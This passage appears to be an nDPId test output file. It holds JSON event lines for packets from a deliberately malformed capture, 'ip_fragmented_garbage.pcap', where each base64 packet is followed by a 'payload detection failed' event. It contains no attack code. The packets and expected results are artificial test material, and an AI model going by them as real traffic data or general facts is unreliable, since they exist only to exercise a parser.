+00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":454,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":3429,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhGEAGRJkKAAACCoAAAjgyMDUxKSgqJl4lJCNAIyQ="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":454,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":455,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":3441,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhGkAGRJcKAAACCoAAAiVeJiooKiZeJSQjcnNkbHU="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":455,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":456,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":3448,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhHEAGRJUKAAACCoAAAmhna2Zkc2JrbnZjLy50Z2Y="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":456,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":457,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":3458,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhHkAGRJMKAAACCoAAAnRnP0dSP0dSP3NSPzc0ODM="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":457,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":458,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":3470,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhIEAGRJEKAAACCoAAAjk2KSgqJl4lJCNAIUAjJCU="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":458,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":459,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":3481,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhIkAGRI8KAAACCoAAAl4mKigpKComXiUkI0AjJCU="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":459,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":460,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":3493,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhJEAGRI0KAAACCoAAAl4mKigqJl4lJCMmKihLSUo="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":460,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":461,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":3504,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhJkAGRIsKAAACCoAAAkhHRkQyKiZERkdISksmXiU="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":461,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":462,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":3515,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhKEAGRIkKAAACCoAAAiQjI0VUUiVZXlUmSSpPUHs="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":462,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":463,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":3527,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhKkAGRIcKAAACCoAAAiI6aGRmbGtkYT5MPE1OQkg="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":463,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":464,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":3538,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhLEAGRIUKAAACCoAAAkdGREVXI0AkJV5IQkdWCjQ="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":464,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":465,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":3550,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhLkAGRIMKAAACCoAAAjIxNDYzMTk4MjA1MSkoKiY="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":465,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":466,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":3561,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhMEAGRIEKAAACCoAAAl4lJCNAIyQlXiYqKComXiU="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":466,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":467,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":3568,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhMkAGRH8KAAACCoAAAiQjcnNkbHVoZ2tmZHNia24="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":467,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":468,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":3579,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhNEAGRH0KAAACCoAAAnZjLy50Z2Z0Zz9HUj9HUj8="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":468,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":469,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":3590,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhNkAGRHsKAAACCoAAAnNSPzc0ODM5NikoKiZeJSQ="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":469,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":470,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":3603,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhOEAGRHkKAAACCoAAAiNAIUAjJCVeJiooKSgqJl4="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":470,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":471,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":3615,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhOkAGRHcKAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":471,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":472,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":3626,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhPEAGRHUKAAACCoAAAiMmKihLSUpIR0ZEMiomREY="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":472,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":473,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":3637,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhPkAGRHMKAAACCoAAAkdISksmXiUkIyNFVFIlWV4="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":473,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":474,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":3649,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhQEAGRHEKAAACCoAAAlUmSSpPUHsiOmhkZmxrZGE="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":474,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":475,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":3660,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhQkAGRG8KAAACCoAAAj5MPE1OQkhHRkRFVyNAJCU="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":475,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":476,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":3671,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhREAGRG0KAAACCoAAAl5IQkdWCjQyMTQ2MzE5ODI="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":476,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":477,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":3684,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhRkAGRGsKAAACCoAAAjA1MSkoKiZeJSQjQCMkJV4="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":477,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":478,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":3866,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhSEAGRGkKAAACCoAAAiYqKComXiUkI3JzZGx1aGc="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":478,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":479,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":3875,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhSkAGRGcKAAACCoAAAmtmZHNia252Yy8udGdmdGc="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":479,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":480,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":3882,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhTEAGRGUKAAACCoAAAj9HUj9HUj9zUj83NDgzOTY="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":480,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":481,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":3889,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhTkAGRGMKAAACCoAAAikoKiZeJSQjQCFAIyQlXiY="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":481,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":482,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":3896,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhUEAGRGEKAAACCoAAAiooKSgqJl4lJCNAIyQlXiY="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":482,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":483,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":3908,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhUkAGRF8KAAACCoAAAiooKiZeJSQjJiooS0lKSEc="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":483,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":484,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":3926,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhVEAGRF0KAAACCoAAAkZEMiomREZHSEpLJl4lJCM="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":484,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":485,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":3933,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhVkAGRFsKAAACCoAAAiNFVFIlWV5VJkkqT1B7Ijo="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":485,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":486,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":3940,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhWEAGRFkKAAACCoAAAmhkZmxrZGE+TDxNTkJIR0Y="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":486,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":487,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":3947,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhWkAGRFcKAAACCoAAAkRFVyNAJCVeSEJHVgo0MjE="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":487,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":488,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":3955,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhXEAGRFUKAAACCoAAAjQ2MzE5ODIwNTEpKComXiU="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":488,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":489,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":3962,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhXkAGRFMKAAACCoAAAiQjQCMkJV4mKigqJl4lJCM="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":489,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":490,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":3969,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhYEAGRFEKAAACCoAAAnJzZGx1aGdrZmRzYmtudmM="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":490,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":491,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":3976,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhYkAGRE8KAAACCoAAAi8udGdmdGc\/R1I\/R1I\/c1I="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":491,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":492,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":3987,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhZEAGRE0KAAACCoAAAj83NDgzOTYpKComXiUkI0A="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":492,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":493,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":4000,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhZkAGREsKAAACCoAAAiFAIyQlXiYqKCkoKiZeJSQ="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":493,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":494,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":4012,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhaEAGREkKAAACCoAAAiNAIyQlXiYqKComXiUkIyY="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":494,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":495,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":4023,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhakAGREcKAAACCoAAAiooS0lKSEdGRDIqJkRGR0g="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":495,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":496,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":4034,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhbEAGREUKAAACCoAAAkpLJl4lJCMjRVRSJVleVSY="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection 